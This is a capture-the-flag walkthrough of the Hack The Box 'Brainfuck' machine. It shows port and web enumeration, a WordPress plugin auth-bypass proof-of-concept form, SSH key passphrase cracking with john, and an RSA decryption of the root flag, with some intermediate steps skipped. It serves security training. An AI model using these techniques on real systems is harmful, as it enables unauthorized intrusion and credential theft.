HTB - Brainfuck
Last updated
Last updated
# nmap -sC -sV -p- 10.10.10.17 -oA nmap/Brainfuck.allports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 17:00 EDT
Nmap scan report for 10.10.10.17
Host is up (0.040s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) TOP CAPA AUTH-RESP-CODE PIPELINING UIDL RESP-CODES USER
143/tcp open imap Dovecot imapd
|_imap-capabilities: ID more Pre-login ENABLE have post-login SASL-IR IDLE OK LOGIN-REFERRALS AUTH=PLAINA0001 capabilities IMAP4rev1 LITERAL+ listed
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 149.07 seconds
Got a few interesting things from the SSL Certificate:
email: orestis@brainfuck.htb
brainfuck.htb
sup3rs3cr3t.brainfuck.htb
These are possible virtual hosts
$ sudo /opt/dirsearch/dirsearch.py -u https://brainfuck.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -E
[sudo] password for kali:
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, js, html, do, action | HTTP method: get | Threads: 30 | Wordlist size: 220521
Error Log: /opt/dirsearch/logs/errors-20-04-01_17-16-07.log
Target: https://brainfuck.htb
[17:16:27] Starting:
[17:16:28] 200 - 22KB - /
[17:16:28] 301 - 194B - /wp-content -> https://brainfuck.htb/wp-content/
[17:16:29] 301 - 194B - /wp-includes -> https://brainfuck.htb/wp-includes/
[17:16:39] 301 - 194B - /wp-admin -> https://brainfuck.htb/wp-admin/
Task Completed
wpscan --url https://brainfuck.htb --disable-tls-checks -e
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.7.11
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://brainfuck.htb/ [10.10.10.17]
[+] Started: Wed Apr 1 19:47:50 2020
Interesting Finding(s):
[i] Plugin(s) Identified:
[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03T07:57:00.000Z
| [!] The version is out of date, the latest version is 9.1.2
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 7.1.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] administrator
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Users Found:
admin
administrator
Plugins:
WP Support Plus Responsive Ticket System Ver 7.1.3
searchsploit wp support plus
----------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities | exploits/php/webapps/34589.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | exploits/php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection | exploits/php/webapps/40939.txt
----------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Using the privilege escalation POC, I made the following modification using information from previous enumeration.
2. Proof of Concept
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
id_rsa key passphrase# /usr/share/john/ssh2john.py id_rsa > ssh_key_to_crack.txt
# john --wordlist=/home/kali/HackTheBox/Tools/rockyou.txt ssh_key_to_crack.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia! (id_rsa)
1g 0:00:00:05 DONE (2020-04-01 22:52) 0.1680g/s 2410Kp/s 2410Kc/s 2410KC/sa6_123..*7¡Vamos!
Session completed
# chmod 600 id_rsa
# ssh -i id_rsa orestis@brainfuck.htb
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
You have mail.
Last login: Wed May 3 19:46:00 2017 from 10.10.11.4
orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)
orestis@brainfuck:~$
Privilege Escalation
# ls
debug.txt encrypt.sage mail output.txt user.txt
# cat output.txt
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
# cat debug.txt
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
# cat encrypt.sage
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')Running this script gets the clear text which is the flag.
from Crypto.Util.number import *
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
n = p * q
phin = (p-1)*(q-1)
d = inverse(e,phin)
pt = pow(ct,d,n)
print(hex(pt)[2:-1].decode('hex'))
